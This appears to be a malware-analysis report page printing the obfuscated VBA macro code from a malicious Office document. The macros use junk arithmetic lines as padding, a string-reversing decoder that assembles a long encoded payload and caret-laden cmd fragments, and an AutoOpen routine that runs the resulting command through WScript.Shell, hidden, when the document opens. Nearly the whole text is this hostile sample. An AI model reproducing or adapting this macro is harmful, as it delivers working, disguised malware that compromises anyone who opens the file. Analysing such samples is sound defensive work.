      UZwtj = rCSBII + AESjwi
NNPWYvkPjwm = TDKqSF("sDjaDAUDAiBQZAcDAiBQOAYDAkBgYAkDA3AgNAIDAmBgZAkDAjBAMAUDAwAQNAEDA5AAMAMDAmBANAcjmJ", 4 + 0, 74 + 0)
      wjPvmw = Hex(ivJaMu / Int(22190))
      ZEzWzb = EGJpc / PYzHb
      HkJCGn = IGIbv + fSfNj
      lkROi = Hex(zXCMU / Int(29841))
      zfnFo = WXrlui / XGUVv
      cAZCaa = FlGWK + iOMMz
LunPM = TDKqSF("wG,F9OAQDA2AANAYDA1AQOAQGA4AAMAMDA2AQZAYGAwAwMAUDAwAwMAIGA3AgMAYGAwAQZAUGAyAAZAEDAhBAZAADAhBQOAG", 2 + 0, 90 + 0)
      inVruz = Hex(jZAqC / Int(64007))
      ZmUZd = iaokQ / aqEqL
      UkQHHI = DDuoFu + otirt
      mvmRfS = Hex(sooAAP / Int(60750))
      FJvrZ = PnDCU / NVbFBC
      GNqDl = EUCCSP + kitHr
VdEifSa = TDKqSF("oZA4AQMAYDAxAAMAYDAwAAOAMDAiBgZAYGAjBgNAEGA5AANAUDA2AQMAgDAjBgNAIGAiBQNAYDAzAQOAADAzAAZAUDAkBAOAMDA0AQNAEGAmBAMAQGAwAAOAYDA3AgZAUDAyAgYAQGAlBAOAMDA5AAZAEGA4AwNAUGAzAgYAMGAzAAZAADAlBQYAZjb9", 5 + 0, 182 + 0)
      jJWHj = Hex(LSdWN / Int(67118))
      wLZoPF = uVzMl / mwPibT
      iSujF = oaibz + TTRLLt
      PzzEVn = Hex(zaTPj / Int(87004))
      achhAi = nfcFmb / GVJtJ
      FLWjd = EIMkQ + hSnUt
oltLiJJkYVK = TDKqSF("RjUADAmBQNAYDAiBQZAMGAjBgMAcDAlBwYAADAiBgYAMDA1AQOAUDA0AAZAEGAhBgYAcDA2AgZAQDAiBQMAkDAhBQNAEGAkBQNAYGAxAA.0b", 4 + 0, 102 + 0)
      HtEcT = Hex(zjMAs / Int(9490))
      WZjbO = BDidU / uLhFJc
      bCmPId = wjtJDP + auzAq
      KzXEVF = Hex(OuwpAF / Int(92994))
      bCQLEB = ssNqh / XLYkKk
      dUwlSz = wjtEpl + HRTiEZ
DKvKL = TDKqSF("VtQDA0AQNAEDAhBwYAADA4AAMAIDAhBQOAkDA1AQYAgDAyAQOAMDAyAQMAEGA5AQYAMGA4AwNAMDA3AQZAIGA4AQOAYGA0AANAUGAjBgZAIbHmRi", 6 + 0, 105 + 0)
      GiriY = Hex(qjYFq / Int(40125))
      wHFft = HMJzI / wvPtE
      GLcWp = GtzDM + nOVSz
      PCCIcw = Hex(PbcGbP / Int(38101))
      chVBV = fzaqj / TjQOor
      wZSZj = IbnLr + Yivfim
fBRabKGRQC = TDKqSF("fZ@YjtAmBQOAUDAhBQMAMDAhBQNAMDA5AANAIGAxAgYAYDAjBAZAEGA3AQMAgDAmBANAcDAiBwNAcDAlBQZAEDAmBgYAEDA3AAZAgDAkBgZAADAlBgNAEGAkBwYAUGA4AwMAcDA1AwMAQDA5AwNAIGAlBQZAUDAlBQNAQmJ", 3 + 0, 159 + 0)
      WMjCb = Hex(tRNjK / Int(27754))
      kNXcK = miNos / iwKAYE
      bmUpMX = IpBuvd + ZHKGTU
      uVJpvN = Hex(JhQANz / Int(80637))
      tWfUls = OOYNUZ / wfmiGT
      OPrdFS = SaVauK + pikVw
AkwchnCT = TDKqSF(" Pt@UPZAYDA5AgYAYDAiBAMAUDAiBgZAcDAlBwNAQDA1AQYAEGAhBwYAUDAhBAOAMGAiBgYAQGAzAgZAYDA5AgMAADAmBQZAMGA2AAMAUDAmBAZAgDA2AQNAgDA1AQYAIDAzAwYAUDAhBQNAADA1AQZAMGAzAQMAUGAwAAMAcDAmBQYAMD,V0", 4 + 0, 172 + 0)
      GuRit = Hex(KjlNi / Int(81959))
      CfHnr = ZAwoCn / PlJwC
      JNYTz = kEIEj + mjYIi
TsJCCcUYlbWHz = BBvqtSL + vspWGKGOuTlY + VjDfIXObv + Chr(34) + pKZjIdLJdGb + cFhlvDLJUTo + dUiBDXnHEX + OdHXMMXB + PmPTQohqb + azGjWEZBm + IqDQBdLMErm + VclNnSp + oMiiI + nIMvvjBVfJ + kOToo + hwJzYWPzU + bJjnaI + EMHIafF + NpTBsnCjET + OGGHzTB + hjAwJT + muisPOMT + lolEdOtiv + msPXVq + fBRabKGRQC + AkwchnCT + wGzzaFmU + MqSHDBTS + BosGuvdZpCL + HINWMm + YWDCwjRdPz + TWjrs + rrDBdnH + VdEifSa + EjHpzsoX + XRwwNXGzwOd + XzZEnGwFi + iuZPkYk + IdcrXMdFj + HQYSV + vQkBHnkKODo + NNPWYvkPjwm + ziAqYRa + jXKkkl + dpJMBF + FJYGwQJ + bpqQcPO + zUuKwY + uqwYL + LunPM + oltLiJJkYVK + WzAvKuoKvz + cqaBDVOflo + VCtjwoqAn + FAmzjGmzqHK + aUNKK + oHDnGSccmhz + JwaLi + YqRXLnGlHG + DKvKL + ivwcJ + uACdH
      vPaQD = Hex(GDbAJ / Int(37704))
      GNMjOQ = jirCM / QiWXS
      NFKvfw = TiVwoB + uBPwa
End Function

Attribute VB_Name = "jEiXGhwShlX"
Function VjDfIXObv()
On Error Resume Next
      IHmrt = Hex(IpYuYR / Int(36471))
      UzQAO = IObaS / pGiLMW
      jfdQjj = UEmLF + wvdQzB
vQkBHnkKODo = TDKqSF("Ek tes&&eh=%PlfOAlwzYj@ ti", 7 + 0, 18 + 0)
      YttfL = Hex(QmBHN / Int(65280))
      qjWrj = UumEcP / ZjudR
      KODpm = FHPhSw + dDCNY
      tOMNV = Hex(YZCcf / Int(1415))
      AjzfQ = BASGD / fQSOzb
      itaaj = PEbrim + XTPpja
FAmzjGmzqHK = TDKqSF("jsGciJn%!!%SpS", 4 + 0, 8 + 0)
      tkUaHI = Hex(pHFKD / Int(1574))
      VPZGT = BwZJoU / TMBdi
      tSuYA = XTZwW + blfBDp
      qcKJdE = Hex(JJZQEt / Int(82830))
      uAFXHX = fpZnjc / MzDiAk
      FlnLZo = IIAmtY + hAVoH
XzZEnGwFi = TDKqSF("X@fDrNPZU", 2 + 0, 2 + 0)
      zVjpX = Hex(NwbNW / Int(87340))
      KoPSM = jfWjZB / Dufzit
      XnkBzn = aAhvi + mNLShI
      mAwmU = Hex(QzzbID / Int(79167))
      Fnatci = PYioL / LIfzi
      PKOFz = VOlJHw + PzaGk
ivwcJ = TDKqSF("GzBs=%ppEmiVwISp", 4 + 0, 10 + 0)
      uhBXc = Hex(wJjEo / Int(38100))
      aDZiqh = LGPiFQ / dvMlCv
      nSOnmo = YpJwp + VHqVkY
      mkPUd = Hex(tavQaw / Int(99276))
      AbNVzD = cpNUB / iEtWDi
      wlOJC = pqbuHD + swjOz
dUiBDXnHEX = TDKqSF("Bd tes&&r^e=%hHvkvVRhOa,dj", 6 + 0, 19 + 0)
      jzKuC = Hex(cDLWB / Int(88521))
      TZhOM = SIOXA / GQbrjX
      Zuvcmr = JaodT + AjkAKj
      SiiSSr = Hex(jYQPUY / Int(34585))
      iAGOqj = orYAwb / zEZPH
      hmwVoC = KnJhAM + NDTSGO
VCtjwoqAn = TDKqSF("asjLaizzn%!!%ppEmiVwKYf7", 4 + 0, 15 + 0)
      pquRs = Hex(KaLpF / Int(32184))
      FwBla = ujBhqz / nLtlGI
      YsvEDv = bkbTck + iRBhsT
      NwwpO = Hex(vZdhCB / Int(67874))
      nEzNas = rIjiOY / iPZQj
      DGCZN = uoSJA + fZASV
kOToo = TDKqSF("SQ%nkJ%!!%UkUjShXzpG6mIq", 6 + 0, 15 + 0)
      WUSVpN = Hex(zRjuN / Int(15080))
      UWahBa = RwCZz / UjwOLu
      tLuhQo = OrOtE + NoIzT
      noCnw = Hex(XAAutr / Int(77958))
      iJCWK = BPIEYT / oQMhz
      CuRdw = sUJJu + fBzDv
cFhlvDLJUTo = TDKqSF("RAQoOmoIELXFXwstw", 7 + 0, 8 + 0)
      czGBY = Hex(zPfNij / Int(76309))
      vilYQ = ENROrF / isRVk
      vEAGB = lfjdf + ZVjiBQ
      TzoGG = Hex(ROUVo / Int(81830))
      JZzBVj = iDpmCV / HUpbv
      hLuckc = BQrbMS + JBLqc
OdHXMMXB = TDKqSF("wFUmXj9 tes&&fm", 3 + 0, 6 + 0)
      vaQJBE = Hex(FKtfut / Int(30815))
      wfVQt = qRLNa / GtFJzz
      iGuka = rXrXLj + CDLWp
      nSMHV = Hex(SRDZIY / Int(69419))
      pTilZf = nkQWYF / EsvUzS
      itHjTB = WCNrW + BsXbhP
wGzzaFmU = TDKqSF("iBIIwqrodJPJpJu% tes&&snFJX", 3 + 0, 18 + 0)
      zivlzq = Hex(MLioZ / Int(33477))
      LabCGi = QhDfB / wMUTm
      XuwzWm = jHLYZR + GqSwZ
      ptkwGl = Hex(sfDhlN / Int(17631))
      hCsYrU = ABwijB / GTAjSz
      swHGOk = DkfcjN + RiRiL
ziAqYRa = TDKqSF("hKhmdd=%pKXZjbwGilEcBrGGYR", 6 + 0, 19 + 0)
      sizYCj = Hex(YjhCu / Int(19027))
      oGkRc = CzRRFz / ZppjAH
      BKwjD = TOTDdi + LMLtz
      MOoIEH = Hex(cKQic / Int(8980))
      lYwpnS = YNwab / UpKQvE
      ZuUzM = iSREzc + QVhJFw
YqRXLnGlHG = TDKqSF("Fj%tM,r", 5 + 0, 1 + 0)
      PoBpic = Hex(rnAAi / Int(47733))
      YqEwcq = DGIzzj / wHAKza
      ltiRji = iREQDu + fcMcHs
      oFpzf = Hex(bHzpit / Int(21374))
      iqktY = GGhoNV / RhhoCM
      AAAFW = ZEKHih + kCIRR
uqwYL = TDKqSF("wPF !%jYljNDinwLUruX", 6 + 0, 12 + 0)
      cRhXA = Hex(KwKZPB / Int(62402))
      qKipfX = YCwaGj / DOZQWi
      DSczTM = OiuFBA + ZUSmuq
      psGuFd = Hex(vffDr / Int(72394))
      wzDPqA = RmaWkj / XpriZP
      wdhku = TWNSMc + wMWVFJ
EMHIafF = TDKqSF("TOrHu!&&ll=%jYljNDiKtG", 4 + 0, 14 + 0)
      YGfXU = Hex(SYqoYR / Int(42412))
      zUVivU = uYIKI / AKSVYP
      hrzKP = NvjZt + GHwsAq
      zvOLqL = Hex(FsUUCf / Int(20339))
      dDzrUo = RwsBik / TISYU
      aaPYWV = ondJY + Bbklj
FJYGwQJ = TDKqSF("tattjK%OBcjEwbhkJ%v", 2 + 0, 12 + 0)
      CVdPT = Hex(hFAZMC / Int(57440))
      RUCna = windU / cXjdjW
      RSYwKv = pQJPbb + OpjYwL
      TAmizQ = Hex(lrnsYi / Int(81187))
      jqhwNi = EcTVH / PYsjD
      BinUJ = PvGoZu + oPTHV
dpJMBF = TDKqSF("7IXicNZnpSCi% tesoiDX6E", 7 + 0, 15 + 0)
      PBuwKP = Hex(IfVTuJ / Int(40516))
      oBwVX = wjRQC / ASqvQ
      HnWGm = EfZjZn + PZJzOX
      DoIULt = Hex(ZGWCdT / Int(20738))
      aUzdw = UPLhz / YGhkL
      HQSMhw = KumQV + iMhjqn
MqSHDBTS = TDKqSF("AtwdjvkvV%j", 3 + 0, 4 + 0)
      NvjZwn = Hex(faTYl / Int(82666))
      LuzOmB = lHhzq / OAqZqz
      bMhtPu = akbNfi + WSkSEm
      joljCA = Hex(odqXUc / Int(50136))
      YrXYPw = QWcwW / jNsTwX
      fckFaJ = cDLmUD + XlFoLj
azGjWEZBm = TDKqSF("npEcCCJsT%!=KkVI", 5 + 0, 9 + 0)
      YOGDi = Hex(FQzEY / Int(9856))
      HwHSwG = lMLqi / uLbnf
      oaHNdB = FnLGHO + Zsadn
      oSFXC = Hex(VBRWI / Int(85826))
      cCcwfr = bSSol / lzUrJq
      kiVwo = vdlsw + QtijiI
jXKkkl = TDKqSF("6IJ%!!%hHYIOjj", 6 + 0, 6 + 0)
      MMoWAQ = Hex(WYWhZN / Int(35759))
      NthiJ = viqZV / VlCSpj
      dHwMUh = lWHDT + jrjpzA
      bcqRC = Hex(EjmsoX / Int(51523))
      YzowTr = JYZQo / qQMWpR
      kOBAkq = DPLiE + ftWCW
VclNnSp = TDKqSF("jwB7LJpJu%!=%UkUjShXzpzSZ", 3 + 0, 18 + 0)
      hERDQ = Hex(OsNPZ / Int(43084))
      FvCJwo = cnPtM / McQzuK
      XjbSLk = Vwpoqp + wQdjYO
      jJIXH = Hex(EDlNuc / Int(21475))
      aZuYa = whHiY / JmNwR
      IJrGB = GsOMp + tZntF
nIMvvjBVfJ = TDKqSF("WPrPlfOAlwv7vBi", 6 + 0, 7 + 0)
      lHOcF = Hex(CaznRR / Int(79129))
      wqUBhT = WShmk / towjQh
      KJojEs = bXSbz + ASCEm
      EUGbo = Hex(cjWvkd / Int(10522))
      YDijhp = UMqQwc / kkOGT
      TCqpAt = YunPd + QRpFl
oHDnGSccmhz = TDKqSF("KjHZI% tes&&w^o=%zHWblSiauS", 6 + 0, 19 + 0)
      HmkHQ = Hex(qEFzl / Int(63253))
      KfNVMp = nRDaZb / qLFufd
      LnjvZd = oSYIG + TcDvdQ
      dmFMC = Hex(LDjLO / Int(32813))
      zbiobI = wfAjzk / XKdfKV
      rzTJnz = WJsdz + GLCBM
bJjnaI = TDKqSF("LRnSzn% tes&&VbrdRGbM%%w", 4 + 0, 17 + 0)
      tQzlYM = Hex(GotDf / Int(8407))
      zHbOin = NaVID / YtLHb
      bcYtO = zVslcG + ZBMwj
      ssqlTG = Hex(tiSZLH / Int(99081))
      nrspC = jfsMJ / JjTLt
      tbzQXj = fpIqJH + SHikiD
HQYSV = TDKqSF("GLVcRhurOThOs=%RGsdOPVa@", 5 + 0, 18 + 0)
      ZJMzYJ = Hex(ZJPGjZ / Int(26401))
      RWTID = NbpjF / HCFih
      pTSkTw = FGftjc + itpHQV
      zpARh = Hex(UwUZC / Int(49676))
      sWXnJ = kwzjcV / Wwvlf
      RqHFmk = YfUlVD + GNrqMI
lolEdOtiv = TDKqSF("EuSSwnwciJn%P", 2 + 0, 7 + 0)
      mWwGY = Hex(HjWAju / Int(6040))
      NlQlC = FEbNNY / SJGFYW
      fTJzNp = oIUCb + dtcbF
      DJJil = Hex(CiSjj / Int(11465))
      jURSm = NlwBl / OVKdza
      XizBY = YiiFH + twpMP
uACdH = TDKqSF(".6PRh%!!%OBcjEwbh,wa0", 5 + 0, 14 + 0)
      cpRPkE = Hex(YIXhr / Int(10578))
      IQivj = tFOWi / qjrcZI
      wVlBHu = uzEABq + mNcPtd
      EadJs = Hex(nRdCXn / Int(86546))
      WcvjZS = LBDlj / AlbDkh
      URsEhC = siOwiz + WYSci
iuZPkYk = TDKqSF("0Jrbw,FdNvtsAcGTr%H", 2 + 0, 11 + 0)
      qsYZYI = Hex(nfCwmF / Int(35520))
      EkqwW = chnGHk / dMIaG
      jbsSjZ = zMcPK + hSRnb
      wVWfSb = Hex(PGCQs / Int(19018))
      WJtch = DqAWQv / lZBEV
      zickiE = RIrrw + YkqFKp
PmPTQohqb = TDKqSF("wnwjr% tes&&lIqjIjIQTp@B8X", 7 + 0, 17 + 0)
      snGVz = Hex(XGSqF / Int(97222))
      MMYuZL = aNvzJ / iXkvUq
      HoJYH = TjAzRl + BWLLwj
      rbEMvl = Hex(pHIOCM / Int(80084))
      mZGuCW = MUqjEM / WzkXc
      RBMSi = EnqFml + njMLTi
zUuKwY = TDKqSF("DXnYUcCCJsT% tes&&p=%JEFF", 4 + 0, 19 + 0)
      sOkVP = Hex(WnlLdi / Int(70639))
      ikMoP = RLVPD / WYSKmQ
      PYCQrC = IRCfbI + KJwzX
      iEEjj = Hex(bPBho / Int(61657))
      bhaTHN = IpbuM / OIiDPF
      hGsqrS = tKwBM + fYcanJ
WzAvKuoKvz = TDKqSF("JSz0zjrSwF@K", 6 + 0, 3 + 0)
      qvpdJ = Hex(mLSkz / Int(33913))
      wwUpkc = FKzsZi / RpfEPG
      tlRPhW = waZzjd + jEnpLV
      ivibRQ = Hex(Kjjcz / Int(45228))
      SMOzjb = otbnz / zARzpi
      Pzwcw = AbBOp + DNULVR
hwJzYWPzU = TDKqSF("X8TwKAvk=%YXniwatft", 5 + 0, 11 + 0)
      AWuCC = Hex(TdFKSi / Int(74511))
      GZSQl = cbzmf / KuYdov
      bduVzt = ccuRjf + IznBu
      slUcOj = Hex(XslLCu / Int(42709))
      UFMdJ = wjaDR / BnXiw
      mfAZIi = NzmqR + GEkUO
BosGuvdZpCL = TDKqSF("PBBUjTpm=%QmPfBQc6wa", 4 + 0, 13 + 0)
      LhouC = Hex(ZwOokV / Int(12841))
      KHrZv = iUwFLs / lLQQT
      EkJwk = iihvYP + jBHwN
      duDmWV = Hex(bXsqb / Int(70447))
      XuUmr = aJWPo / jWChc
      tkduEz = fjqqzz + smBAw
oMiiI = TDKqSF(",tKPZ% tes&&!%zHWblYUT9FS", 5 + 0, 19 + 0)
      bPMTXo = Hex(EljZpQ / Int(9866))
      zudqWA = ojSXS / YzUBj
      JiYJXQ = juzRBj + rssYJb
      TJEXX = Hex(diOwdJ / Int(9447))
      tQkYLz = BYROw / somdjC
      vpinMi = ikkpV + TJkuEX
muisPOMT = TDKqSF("st039i% tes&&!%JodJPjU", 3 + 0, 14 + 0)
      GSlmIa = Hex(ltcUuH / Int(20448))
      DizMdi = QnctC / iErZMS
      dDvilB = lIQvOi + GCwru
      plCUD = Hex(JXmRR / Int(98885))
      FhiId = AFJhI / AsEKOZ
      noIIY = hwmCA + vQSNM
JwaLi = TDKqSF("I9% tes&&zir@Jnjmf", 7 + 0, 10 + 0)
      sZEiM = Hex(DtYDQF / Int(24072))
      rOMSz = FzwMN / JIMfi
      rtVzwI = bEikij + pbjhEz
VjDfIXObv = dpJMBF + HQYSV + wGzzaFmU + zUuKwY + oHDnGSccmhz + ziAqYRa + PmPTQohqb + VclNnSp + muisPOMT + cFhlvDLJUTo + BosGuvdZpCL + JwaLi + dUiBDXnHEX + FJYGwQJ + azGjWEZBm + oMiiI + ivwcJ + OdHXMMXB + iuZPkYk + hwJzYWPzU + bJjnaI + vQkBHnkKODo + lolEdOtiv + EMHIafF + YqRXLnGlHG + WzAvKuoKvz + kOToo + uACdH + MqSHDBTS + jXKkkl + XzZEnGwFi + VCtjwoqAn + nIMvvjBVfJ + FAmzjGmzqHK + uqwYL
      nLsds = Hex(JXuhs / Int(39935))
      NSDrQE = VUaPSj / Nhciai
      EhcWF = TEKzrJ + TWYpRA
End Function

Attribute VB_Name = "pNfCBGIOPYzDvF"
Function BBvqtSL()
On Error Resume Next
      Wwmqw = Hex(qRDBl / Int(36488))
      iOomw = opitst / KGqbX
      jDGbiL = MXwpo + kQEniE
SAVZCXYkEE = TDKqSF("wrNj           c/     GnES", 5 + 0, 18 + 0)
      jbVoEu = Hex(hPkabi / Int(2642))
      TYnFad = QrsFz / wFSHW
      DEiSWn = nzmXO + rwzfA
      ZmlfJQ = Hex(jPunA / Int(66429))
      bwnLv = TFvVD / Owlha
      pqmfmT = swYYj + iRWkfX
SIzmD = TDKqSF("Vd%@w    V/     %^c^E^p^S^m^o^uYOw", 5 + 0, 25 + 0)
      liZTrP = Hex(oCVvhU / Int(15557))
      rjwKU = CIvhLb / CsOFJ
      uKRSnW = jqbcqP + XZpoUD
      GfOfYE = Hex(bdcuD / Int(61262))
      owakX = bpaliz / VHMri
      hfrbjW = jhidnB + zOPMwi
VtADsMqkN = TDKqSF("8p%     & ajPPQwvwjbQdo znEr8", 5 + 0, 23 + 0)
      RQFcw = Hex(itURl / Int(31255))
      wowWuN = wtKwzh / cHszs
      FQPlwk = AqNNrX + oIRsSl
      pirFv = Hex(FTCSk / Int(66728))
      YmQUCA = NLzQF / KMDRS
      XOTqF = uHwlG + wOzMz
RtWJps = TDKqSF("fpvtQC^%     %^c^E^p^S^m^o^C^jk", 3 + 0, 24 + 0)
      SmPKrd = Hex(bzorsP / Int(70295))
      QKRFwL = HsZbF / SrKwNQ
      jEMWpL = IGQFWV + hDjHD
      XFtjz = Hex(Ohrwr / Int(87851))
      XnIviV = icVELr / rizvsh
      GoZbn = KoJDiR + uqOsR
MPfFzvA = TDKqSF("GFRPSfdovhSisiUbBaElXoQipjIFDFRO", 6 + 0, 24 + 0)
      QXvjo = Hex(IcXwu / Int(6645))
      LlRziU = rlqTSa / mnBTEd
      QiKEkD = CmpPzi + TdqjY
      YIbpB = Hex(ipiscd / Int(15736))
      OFZnBF = KmDmI / EURCiB
      zoGRN = zrtHqK + swkjjj
fHfRGzwJN = TDKqSF("Fa6SBW XrzzikVKGptQiP dmn38S", 5 + 0, 19 + 0)
      vNVXD = Hex(siUMpu / Int(55254))
      nawHa = HXQfM / OpGjhS
      zElSiO = ETWjR + hlFXlc
BBvqtSL = fHfRGzwJN + MPfFzvA + VtADsMqkN + RtWJps + SIzmD + SAVZCXYkEE
      fwYzp = Hex(bfDXl / Int(59938))
      vfDBH = sGzoA / NQtcki
      FJTAjn = XmoBvl + uBCiD
End Function
Function TDKqSF(ByVal rjzpzXhSjUkU As String, nJicwniDNjlYj, nzzwlAOflP)
On Error Resume Next
      tWHuq = Hex(CpuFdA / Int(25155))
      wRort = UlVXw / WMHGfc
      JCvaq = OmYlzX + vISGJ
      CmDHB = Hex(zzMqhn / Int(50644))
      zDDBr = KijwzX / qzNuAz
      ZOGuu = tjBwqz + WHrFR
kwVlbmBZNLtTP = LCYFHId + StrReverse(rjzpzXhSjUkU) + HAwvhqHbkwI
      AEbck = Hex(CAcjF / Int(16650))
      llQBJz = QGliDA / GPuWv
      KOHbvV = FcHYv + SvFqab
JkhbwEjcBO = VquSsZjzvliMKL + Mid(kwVlbmBZNLtTP, nJicwniDNjlYj, nzzwlAOflP) + WipFowjn
      NnNiNB = Hex(UvwbT / Int(38329))
      iWlDKr = MkizZ / BVmwoC
      EFLBjt = NQMkw + pHiCu
TDKqSF = wZBCiiobX + JkhbwEjcBO + IzmRXjcKkTQiLv
      tAWlt = Hex(kDRGWD / Int(5970))
      TvSpOH = zhiFi / SbFSO
      dphRp = MYvUKB + ZhQYwp
End Function

Attribute VB_Name = "oMwTrfPNRcMoIz"
Sub AutoOpen()
On Error Resume Next
      nmdcL = Hex(iQcWd / Int(48278))
      qBDHd = RRsOa / OzHTI
      siAti = VduFvT + NGKXPZ
      KqjIu = Hex(DSzCb / Int(95201))
      zkqEw = IlzXM / ZRMDD
      ruELBB = wGrDfr + zwwdPF
Application.Run "hRVvkvHh", TsJCCcUYlbWHz
      sQSLTU = Hex(VGqOta / Int(70097))
      QoioN = RRiTfi / aVjnw
      zdlAi = EdAAom + tuiIu
End Sub
Sub hRVvkvHh(ZPKwVimEpp As String)
On Error Resume Next
      scawjr = Hex(lOukGb / Int(91151))
      lZinA = IURQu / OpdsNp
      lrLUdNrdQYTjE = "WScript.Shell"
      FZYfC = uvqjP + NrsHUE
      tUkIJ = Hex(pKZwlC / Int(45624))
      PpzMu = iGLRkB / hqWhI
      svrUQO = MwUzFj + bwBsva
CreateObject(lrLUdNrdQYTjE).Run qnJSXIKIUD + Chr(VBA.vbKeyC) + ZPKwVimEpp + cOfWXVi + zPfmLMDKvipimi, vbHide
      BHiCs = Hex(mEiRl / Int(55269))
      LFajJ = dMLBzG / zPZfZ
      uDiPoS = sKLAVa + lwqHIU
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.